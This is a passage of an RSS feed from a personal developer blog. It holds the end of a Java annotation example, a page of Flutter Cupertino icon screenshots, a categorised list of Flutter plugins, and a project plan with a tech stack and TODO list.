</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> String <span style="color:#a6e22e">toString</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;Student2{&#34;</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;name=&#39;&#34;</span> <span style="color:#f92672">+</span> name <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;\&#39;&#39;</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;, id=&#34;</span> <span style="color:#f92672">+</span> id <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;, age=&#34;</span> <span style="color:#f92672">+</span> age <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#39;}&#39;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> String <span style="color:#a6e22e">getName</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> name;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">setName</span>(String name) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">name</span> <span style="color:#f92672">=</span> name;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">getId</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> id;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">setId</span>(<span style="color:#66d9ef">int</span> id) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">id</span> <span style="color:#f92672">=</span> id;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">getAge</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> age;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">setAge</span>(<span style="color:#66d9ef">int</span> age) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">age</span> <span style="color:#f92672">=</span> age;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Retention</span>(RetentionPolicy.<span style="color:#a6e22e">RUNTIME</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Target</span>(ElementType.<span style="color:#a6e22e">TYPE</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@interface</span> Student2Table{
</span></span><span style="display:flex;"><span>    String <span style="color:#a6e22e">value</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Retention</span>(RetentionPolicy.<span style="color:#a6e22e">RUNTIME</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Target</span>(ElementType.<span style="color:#a6e22e">FIELD</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@interface</span> Student2Field{
</span></span><span style="display:flex;"><span>    String <span style="color:#a6e22e">col</span>();
</span></span><span style="display:flex;"><span>    String <span style="color:#a6e22e">type</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">length</span>();
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>Backup of Flutter Cupertino Icons&#39; Gallery</title>
      <link>https://weibo.io/2021/12/Flutter-Cupertino-Icons/</link>
      <pubDate>Wed, 15 Dec 2021 14:08:45 +0000</pubDate>
      
      <guid>https://weibo.io/2021/12/Flutter-Cupertino-Icons/</guid>
      <description> </description>
      <content:encoded><![CDATA[<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfzhsrlj31er0u0acj.jpg" alt="截屏2021-12-15 下午1.52.27"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfqhm7kj31av0u077d.jpg" alt="截屏2021-12-15 下午1.52.47"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg1cr9bj31ab0u0tbs.jpg" alt="截屏2021-12-15 下午1.52.58"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfz1it4j31aa0u0gos.jpg" alt="截屏2021-12-15 下午1.53.15"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfva2n0j319t0u0jux.jpg" alt="截屏2021-12-15 下午1.53.27"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg0voo0j31b00u0wgv.jpg" alt="截屏2021-12-15 下午1.53.46"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfng6c9j319e0u0acf.jpg" alt="截屏2021-12-15 下午1.55.17"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehgx9f8cj319j0u0mzi.jpg" alt="截屏2021-12-15 下午1.54.13"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg2rf4yj319p0u0acb.jpg" alt="截屏2021-12-15 下午1.55.29"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfx5piaj31cg0u0q5j.jpg" alt="截屏2021-12-15 下午1.56.29"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfvr5yej31am0u0mzm.jpg" alt="截屏2021-12-15 下午1.56.37"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfucsy9j31be0u0acm.jpg" alt="截屏2021-12-15 下午1.54.22"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfsxms9j31980u0jtp.jpg" alt="截屏2021-12-15 下午1.55.49"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfoqvytj31an0u0tax.jpg" alt="截屏2021-12-15 下午1.56.45"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfp6v71j31a50u00vd.jpg" alt="截屏2021-12-15 下午1.54.33"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg385gwj31al0u0jtv.jpg" alt="截屏2021-12-15 下午1.55.57"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfsgyywj31bj0u0mzq.jpg" alt="截屏2021-12-15 下午1.56.53"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehftvlcaj319u0u0acv.jpg" alt="截屏2021-12-15 下午1.55.07"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg007jhj31ag0u0q5d.jpg" alt="截屏2021-12-15 下午1.56.10"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfy37jqj31bz0u0di2.jpg" alt="截屏2021-12-15 下午1.57.01"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfrjje1j31b90u00v6.jpg" alt="截屏2021-12-15 下午1.57.10"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfns1ysj31bh0u0gnq.jpg" alt="截屏2021-12-15 下午1.57.19"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg557okj31ay0u0whe.jpg" alt="截屏2021-12-15 下午1.57.39"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg0f0iwj31an0u0acy.jpg" alt="截屏2021-12-15 下午1.57.48"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfusj40j31ar0u0tb4.jpg" alt="截屏2021-12-15 下午1.58.03"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg5n0p6j31bk0u0whm.jpg" alt="截屏2021-12-15 下午1.58.11"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg6200nj31bi0u0tbp.jpg" alt="截屏2021-12-15 下午1.58.18"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfw88g9j31ci0u0tb2.jpg" alt="截屏2021-12-15 下午1.58.30"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg1u7wyj31bf0u0did.jpg" alt="截屏2021-12-15 下午1.58.37"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg3rffjj31c00u0div.jpg" alt="截屏2021-12-15 下午1.58.45"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehgy4vt9j31bq0u0go0.jpg" alt="截屏2021-12-15 下午1.58.51"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfxnem3j31ar0u040q.jpg" alt="截屏2021-12-15 下午1.58.56"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfr31e5j31b20u0q55.jpg" alt="截屏2021-12-15 下午1.59.01"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehg2b9bdj31d20u0wgo.jpg" alt="截屏2021-12-15 下午1.59.15"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfthcbij31cz0u00v7.jpg" alt="截屏2021-12-15 下午1.59.20"  />
</p>
<p><img loading="lazy" src="https://tva1.sinaimg.cn/large/008i3skNly1gxehfyhof8j309m06w3ya.jpg" alt="截屏2021-12-15 下午1.59.26"  />
</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Flutter插件列表</title>
      <link>https://weibo.io/2021/11/flutter-plugins/</link>
      <pubDate>Mon, 29 Nov 2021 00:00:00 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/flutter-plugins/</guid>
      <description>通用零部件
按钮 flutter_awesome_buttons | Flutter Package (flutter-io.cn) 文字格式检测 string_validator | Dart Package (flutter-io.cn) 本地存储 objectbox | Dart Package (flutter-io.cn) ffloat/README_CN.md at master · Fliggy-Mobile/ffloat (github.com) Slideable flutter_slidable | Flutter Package (flutter-io.cn) 文字动画效果 animated_text_kit | Flutter Package (flutter-io.cn) 分享页面 share_plus | Flutter Package (flutter-io.cn) flutter_share | Flutter Package (flutter-io.cn) !!scrollbar flutter_improved_scrolling | Flutter Package (flutter-io.cn) vs_scrollbar | Flutter Package (flutter-io.cn) scroll_to_id | Flutter Package (flutter-io.cn) 下拉加载更多 infinite_scroll_pagination | Flutter Package (flutter-io.cn) loadmore | Flutter Package (flutter-io.</description>
      <content:encoded><![CDATA[<p>通用零部件</p>
<ul>
<li>按钮
<ul>
<li>flutter_awesome_buttons | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>文字格式检测 string_validator | Dart Package (flutter-io.cn)</li>
<li>本地存储 objectbox | Dart Package (flutter-io.cn)</li>
<li>ffloat/README_CN.md at master · Fliggy-Mobile/ffloat (github.com)</li>
<li>Slideable flutter_slidable | Flutter Package (flutter-io.cn)</li>
<li>文字动画效果 animated_text_kit | Flutter Package (flutter-io.cn)</li>
<li>分享页面 share_plus | Flutter Package (flutter-io.cn)
<ul>
<li>flutter_share | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>!!scrollbar flutter_improved_scrolling | Flutter Package (flutter-io.cn)
<ul>
<li>vs_scrollbar | Flutter Package (flutter-io.cn)</li>
<li>scroll_to_id | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>下拉加载更多 infinite_scroll_pagination | Flutter Package (flutter-io.cn)
<ul>
<li>loadmore | Flutter Package (flutter-io.cn)</li>
<li>very_good_infinite_list | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>tooltip just_the_tooltip | Flutter Package (flutter-io.cn)</li>
<li>位置信息 location | Flutter Package (flutter-io.cn)</li>
<li>apple id登陆 sign_in_with_apple | Flutter Package (flutter-io.cn)</li>
<li>背景模糊 flutter_blurhash | Flutter Package (flutter-io.cn)</li>
<li>加载中 sleek_circular_slider | Flutter Package (flutter-io.cn)
<ul>
<li>progress_indicators | Flutter Package (flutter-io.cn)</li>
<li>skeleton_loader | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>升级提醒 upgrader | Flutter Package (flutter-io.cn)</li>
<li>html渲染 flutter_widget_from_html | Flutter Package (flutter-io.cn)</li>
<li>选择器 direct_select_flutter | Flutter Package (flutter-io.cn)</li>
<li>不同大小的屏幕适应 layout | Flutter Package (flutter-io.cn)</li>
<li>snackbar
<ul>
<li>top_snackbar_flutter | Flutter Package (flutter-io.cn)</li>
<li>无context one_context | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>截屏时更多选项！feedback | Flutter Package (flutter-io.cn)</li>
<li>底部自动隐藏！scroll_bottom_navigation_bar | Flutter Package (flutter-io.cn)</li>
<li>测试
<ul>
<li>测试所有页面 flutter_storyboard | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>扫描二维码 barcode_scan2 | Flutter Package (flutter-io.cn)</li>
<li>内部webview flutter_custom_tabs | Flutter Package (flutter-io.cn)
登录页面</li>
<li>bluemix/Gradient-Screens: 🌈 Gradients applied to buttons, texts and backgrounds in Flutter (github.com)</li>
<li>使用教程 coachmaker | Flutter Package (flutter-io.cn)</li>
<li></li>
</ul>
<p>开屏加载页面</p>
<ul>
<li>flutter_native_splash | Dart Package (flutter-io.cn)</li>
<li>卡片式后台切换 flutter_swiper | Flutter Package (flutter-io.cn)</li>
<li>选择关注的标签 multi_select_flutter | Flutter Package (flutter-io.cn)
第一次启动时的页面指引</li>
<li>fancy_on_boarding | Flutter Package (flutter-io.cn)</li>
<li>intro_slider | Flutter Package (flutter-io.cn)
社区页面</li>
<li>reorder 选择关注的社区：filter_list | Flutter Package (flutter-io.cn)</li>
<li>从新排序 reorderables | Flutter Package (flutter-io.cn)</li>
<li>顶部切换器 bubble_tab_indicator | Flutter Package (flutter-io.cn)
设置页面</li>
<li>cupertino_list_tile | Flutter Package (flutter-io.cn)
用户信息主页</li>
<li>点击展开属性chip star_menu | Flutter Package (flutter-io.cn)</li>
<li>更多信息 solid_bottom_sheet | Flutter Package (flutter-io.cn)</li>
<li>sliverbar_with_card | Flutter Package (flutter-io.cn)</li>
<li></li>
</ul>
<p>Markdown编辑器</p>
<ul>
<li>撤销/重做 undo | Dart Package (flutter-io.cn)</li>
<li>键盘定制！keyboard_actions | Flutter Package (flutter-io.cn)</li>
<li></li>
</ul>
<p>同步</p>
<ul>
<li>flutter_wordpress | Flutter Package (flutter-io.cn)
图库</li>
<li>点按多选
消息页面</li>
<li>tabbar scroll_navigation | Flutter Package (flutter-io.cn)
FAB</li>
<li>按钮
<ul>
<li>不可拖动上滑自动隐藏，下滑自动出现：gradient_fab | Flutter Package (flutter-io.cn)</li>
<li>可拖动，滑动时隐藏：draggable_float_widget | Flutter Package (flutter-io.cn)</li>
<li>拖动，自动吸附，不自动隐藏：assistive_touch | Flutter Package (flutter-io.cn)</li>
<li>floatingpanel | Flutter Package (flutter-io.cn)</li>
<li>搜索！Imgkl/anim_search_bar: A flutter package that has an animated search bar with loads of customization (github.com)</li>
</ul>
</li>
<li>展开
<ul>
<li>全页面展开 animated_fab_button_menu | Flutter Package (flutter-io.cn)</li>
<li>展开+文字
<ul>
<li>flutter_speed_dial | Flutter Package (flutter-io.cn)</li>
<li>floating_action_bubble | Flutter Package (flutter-io.cn)</li>
<li>simple_speed_dial | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>写动态！ floaty_head | Flutter Package (flutter-io.cn)
<ul>
<li>flash | Flutter Package (flutter-io.cn)</li>
<li></li>
</ul>
</li>
</ul>
</li>
</ul>
<p>toast</p>
<ul>
<li>fluttertoast | Flutter Package (flutter-io.cn)</li>
</ul>
<p>Flutter：</p>
<ul>
<li>MD编辑器：BertrandBev/code_field: A customizable code text field supporting syntax highlighting (github.com)
<ul>
<li>解决Flutter拼音输入过程回调问题 - 掘金 (juejin.cn)</li>
</ul>
</li>
<li>MD预览：flutter_markdown | Flutter Package (flutter-io.cn)</li>
<li>GITHUB API：github | Dart Package (flutter-io.cn)</li>
<li>debug
<ul>
<li>flutter_ume | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>！“社区”页面scroll_navigation | Flutter Package (flutter-io.cn)</li>
<li>icons
<ul>
<li>microsoft/fluentui-system-icons: Fluent System Icons are a collection of familiar, friendly and modern icons from Microsoft. (github.com)</li>
<li>Icons | Font Awesome</li>
</ul>
</li>
<li>头像装饰</li>
<li>iPad版 macOS界面 macos_ui | Flutter Package (flutter-io.cn)
<ul>
<li>device_simulator | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>UI 套件
<ul>
<li>getwidget | Flutter Package (flutter-io.cn)</li>
<li>gradient_ui_widgets | Flutter Package (flutter-io.cn)</li>
<li>flutter_awesome_buttons | Flutter Package (flutter-io.cn)</li>
<li>velocity_x | Flutter Package (flutter-io.cn)</li>
<li>fluent_ui | Flutter Package (flutter-io.cn)</li>
<li>配色 flex_color_scheme | Flutter Package (flutter-io.cn)</li>
<li>flutter_stripe | Flutter Package (flutter-io.cn)</li>
<li>flui/README-zh_CN.md at master · Rannie/flui (github.com)</li>
</ul>
</li>
<li>设置页面选项
<ul>
<li>cupertino_list_tile | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>刷新完成 snackbar
<ul>
<li>another_flushbar | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>撤销/重做 undo | Dart Package (flutter-io.cn)</li>
<li>点击展开菜单 star_menu | Flutter Package (flutter-io.cn)</li>
<li>作者个人主页
<ul>
<li>draggable_home | Flutter Package (flutter-io.cn)</li>
<li>天气背景（表达心情、作者所在当地天气表达与之的连接）flutter_weather_bg_null_safety | Flutter Package (flutter-io.cn)</li>
<li>（评论页面）sliding_panel_pro | Flutter Package (flutter-io.cn)
<ul>
<li>floating_pullup_card | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
</ul>
</li>
<li>搜索页面
<ul>
<li>search_page | Flutter Package (flutter-io.cn)</li>
<li>material_floating_search_bar | Flutter Package (flutter-io.cn)</li>
<li>floating_search_bar | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>页面跳转动画
<ul>
<li>swipeable_page_route | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>边缘滑动更多操作
<ul>
<li>slidable_bar | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>下拉刷新
<ul>
<li>flutter_easyrefresh | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>特性介绍
<ul>
<li>flutter_onboarding_slider | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>关注列表（快速跳转）azlistview | Flutter Package (flutter-io.cn)
<ul>
<li>scrollable_list_tabview | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>文字 + circularrefresh
<ul>
<li>flutter_hud | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>ListTile GroovinChip/groovin_widgets: A Flutter package containing widgets created by GroovinChip. (github.com)</li>
<li>fab：
<ul>
<li>自动吸附边缘、可拖动、滑动自动隐藏：（！）gradient_fab | Flutter Package (flutter-io.cn)
<ul>
<li>draggable_float_widget | Flutter Package (flutter-io.cn)</li>
<li>draggable_fab | Flutter Package (flutter-io.cn)</li>
<li>assistive_touch | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>animated_fab_button_menu | Flutter Package (flutter-io.cn)</li>
<li>speed_dial_fab | Flutter Package (flutter-io.cn)</li>
<li>hawk_fab_menu | Flutter Package (flutter-io.cn)</li>
<li>animated_floating_buttons | Flutter Package (flutter-io.cn)</li>
<li>flutter_speed_dial | Flutter Package (flutter-io.cn)</li>
<li>floating_action_bubble | Flutter Package (flutter-io.cn)</li>
<li>simple_speed_dial | Flutter Package (flutter-io.cn)</li>
<li>Mohanraj153/flutter_boom_menu: Flutter plugin to implement a Boom Menu, with icons, title, subtitle, animated FAB Icons and hide on scrolling. (github.com)</li>
</ul>
</li>
<li>底部 floating_bottom_navigation_bar | Flutter Package (flutter-io.cn)
<ul>
<li>convex_bottom_bar/README-zh.md at master · hacktons/convex_bottom_bar (github.com)</li>
<li>floating_navbar | Flutter Package (flutter-io.cn)</li>
<li>curved_navigation_bar | Flutter Package (flutter-io.cn)</li>
<li>flutter_snake_navigationbar | Flutter Package (flutter-io.cn)</li>
<li>persistent_bottom_nav_bar | Flutter Package (flutter-io.cn)</li>
<li>！custom_navigation_bar | Flutter Package (flutter-io.cn)</li>
<li>animated_bottom_navigation_bar | Flutter Package (flutter-io.cn)</li>
<li>bottom_navy_bar | Flutter Package (flutter-io.cn)</li>
<li>salomon_bottom_bar | Flutter Package (flutter-io.cn)</li>
<li>！bubble_bottom_bar | Flutter Package (flutter-io.cn)</li>
<li>bottom_personalized_dot_bar | Flutter Package (flutter-io.cn)</li>
<li>cuberto_bottom_bar | Flutter Package (flutter-io.cn)</li>
<li>extended_navbar_scaffold | Flutter Package (flutter-io.cn)</li>
<li>bottom_bar | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>！私聊界面 + 个人心情列表
<ul>
<li>sticky_grouped_list | Flutter Package (flutter-io.cn)</li>
<li>papercups_flutter | Flutter Package (flutter-io.cn)</li>
<li>grouped_list | Flutter Package (flutter-io.cn)</li>
<li>dash_chat | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>navbar
<ul>
<li>dot_navigation_bar | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>tabbar
<ul>
<li>tab_indicator_styler | Flutter Package (flutter-io.cn)</li>
<li>buttons_tabbar | Flutter Package (flutter-io.cn)</li>
<li>shifting_tabbar | Flutter Package (flutter-io.cn)</li>
<li>scrollable_list_tabview | Flutter Package (flutter-io.cn)</li>
<li>aliyigitbireroglu/flutter-cupertino-tabbar (github.com)</li>
<li>vertical_tab_bar_view | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>drawer
<ul>
<li>drawerbehavior | Flutter Package (flutter-io.cn)</li>
<li>curved_drawer_fork | Flutter Package (flutter-io.cn)</li>
<li>backdrop | Flutter Package (flutter-io.cn)</li>
<li>flutter_inner_drawer | Flutter Package (flutter-io.cn)</li>
<li>flutter_slider_drawer | Flutter Package (flutter-io.cn)</li>
<li>drawer_swipe | Flutter Package (flutter-io.cn)</li>
<li>shrink_sidemenu | Flutter Package (flutter-io.cn)</li>
<li>foldable_sidebar | Flutter Package (flutter-io.cn)</li>
<li>collapsible_sidebar | Flutter Package (flutter-io.cn)</li>
<li>树形展开 flutter_admin_scaffold | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>评论
<ul>
<li>查看评论 sliding_up_panel | Flutter Package (flutter-io.cn)</li>
<li>点击评论 flutter_overlay | Flutter Package (flutter-io.cn)</li>
<li>bottom_bar_with_sheet | Flutter Package (flutter-io.cn)</li>
<li>sliding_sheet | Flutter Package (flutter-io.cn)</li>
<li>expandable_bottom_bar | Flutter Package (flutter-io.cn)</li>
<li>we_slide | Flutter Package (flutter-io.cn)</li>
<li>随键盘弹出！keyboard_attachable | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>登陆界面动态背景 floating_bubbles | Flutter Package (flutter-io.cn)
<ul>
<li>passwordfield | Flutter Package (flutter-io.cn)</li>
<li>有趣的动画效果 dough | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>markdown功能
<ul>
<li>radar_chart | Flutter Package (flutter-io.cn)</li>
<li>graphview</li>
<li>生成pdf pdf | Dart Package (flutter-io.cn)</li>
<li>打开地图 map_launcher | Flutter Package (flutter-io.cn)</li>
<li>图像编辑 image_editor_pro | Flutter Package (flutter-io.cn)</li>
<li>!点击图片查看大图overscroll_pop | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>心情/评论显示框textspan
<ul>
<li>extended_text | Flutter Package (flutter-io.cn)</li>
</ul>
</li>
<li>Scaffold master_detail_scaffold | Flutter Package (flutter-io.cn)</li>
<li>教学
<ul>
<li>overlay_tutorial | Flutter Package (flutter-io.cn)</li>
<li></li>
</ul>
</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Project P14 技术方向 ver 1.2</title>
      <link>https://weibo.io/2021/11/project-p14/</link>
      <pubDate>Mon, 22 Nov 2021 16:33:26 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/project-p14/</guid>
      <description> Flutter 2.5+ GetX Code Field Flutter Markdown Github API Dio Vue 3 Vuex Nuxtjs Spring Spring Framework SpringMVC Spring Boot Spring Cloud Spring Security RocketMQ MeiliSearch / kala MongoDB AIRec TODO 前端 个人页面设计（参考Linktree、mo.run、about.me） 简历设计（pdf导出），参考Resume应用 增加富文本编辑器（Zefyrka） 私聊页面 &amp;ldquo;通知&amp;quot;页面 设置页面 桌面端/iPad端适配 后端 SSO（Authing.cn） Github同步机制（github API） Wp/Typecho 同步插件 图床系统 &amp;ldquo;想法&amp;quot;系统 评论/点赞 转发 话题系统 统计系统（用户数据分析，诸葛io） “文章”系统 访问统计（用户数据分析，诸葛io） 评论/点赞/感谢 搜索系统（meilisearch） 推荐系统 versions list Alpha 20220110 阻止mood的sharpwrapped的ontap手势溢出到span后面 图片库（二指捏拉缩放） 制作了简单的qrcode 制作了简单的CardPage 天气背景用户信息 Alpha 20220105 修复了文章页面CodeBlock与SwipeBack的手势冲突 修复了用户详情页面SwipeBack的手势冲突 用户详情页面上拉、下拉动作 聊天页面设计 丰富首页Drawer设计 “动态”页面初步设计 MyPage Toast Alpha 20211220 添加了关注页面的“经常点击” TODO Zefyrka替换Markdown编辑器 TODO 上拉下拉加载更多 Alpha 20211216 将图标风格改成了Cupertino样式 制作了文章页面的样式（底栏） 将目录功能引入文章页面 Alpha 20211215 实现了全屏滑动返回 解决了返回手势与TabBarView的冲突问题（UserDetailPage） Alpha 20211212 解决了跨SelectableText的选择问题 添加了Undo/Redo按钮 Alpha 20211211 使用Coordinator改写了NestedScrollView，修复了“我的”页面的滑动冲突 使用HsuTabBarView解决了多TabView页面切换滑动时的冲突(卡住)问题 使用AnimatedSwitcher重写了Tabbar右侧的ActionButton Alpha 20211209 添加了简易的章节目录跳转功能 修复了Keyboard Toolbar遮挡文字的bug 添加了表情定制软键盘 Alpha 20211201 “新文章”页面添加了自定义的keyboard toolbar 将预览功能改为tabbar的形式 Alpha 20211127 实现了markdown渲染的代码高亮、latex解析，并简单排版了一下 用户个人页面 Alpha 20211120 为“动态”添加了表情、hashtag、at功能 Alpha 20211118 “新文章”页面markdown源代码高亮，实现了简单预览 Alpha 20211116 “社区”页面 “我的”页面，并制作了简单的后端实例 修复了“我的”页面左侧drawer遮挡bottom tab的问题 </description>
      <content:encoded><![CDATA[<ul>
<li>Flutter 2.5+
<ul>
<li>GetX</li>
<li>Code Field</li>
<li>Flutter Markdown</li>
<li><del>Github API</del></li>
<li>Dio</li>
</ul>
</li>
<li>Vue 3
<ul>
<li>Vuex</li>
<li>Nuxtjs</li>
</ul>
</li>
<li>Spring
<ul>
<li>Spring Framework</li>
<li>SpringMVC</li>
<li>Spring Boot</li>
<li>Spring Cloud</li>
<li>Spring Security</li>
</ul>
</li>
<li>RocketMQ</li>
<li>MeiliSearch / kala</li>
<li>MongoDB</li>
<li><del>AIRec</del></li>
</ul>
<hr>
<h3 id="todo">TODO</h3>
<h5 id="前端">前端</h5>
<ul>
<li><input disabled="" type="checkbox"> 个人页面设计（参考Linktree、mo.run、about.me）</li>
<li><input disabled="" type="checkbox"> 简历设计（pdf导出），参考Resume应用</li>
<li><input disabled="" type="checkbox"> 增加富文本编辑器（Zefyrka）</li>
<li><input disabled="" type="checkbox"> 私聊页面</li>
<li><input disabled="" type="checkbox"> &ldquo;通知&quot;页面</li>
<li><input disabled="" type="checkbox"> 设置页面</li>
<li><input disabled="" type="checkbox"> 桌面端/iPad端适配</li>
</ul>
<h5 id="后端">后端</h5>
<ul>
<li><input disabled="" type="checkbox"> SSO（Authing.cn）</li>
<li><input disabled="" type="checkbox"> Github同步机制（github API）</li>
<li><input disabled="" type="checkbox"> Wp/Typecho 同步插件</li>
<li><input disabled="" type="checkbox"> 图床系统</li>
<li><input disabled="" type="checkbox"> &ldquo;想法&quot;系统
<ul>
<li><input disabled="" type="checkbox"> 评论/点赞</li>
<li><input disabled="" type="checkbox"> 转发</li>
<li><input disabled="" type="checkbox"> 话题系统</li>
<li><input disabled="" type="checkbox"> 统计系统（用户数据分析，诸葛io）</li>
</ul>
</li>
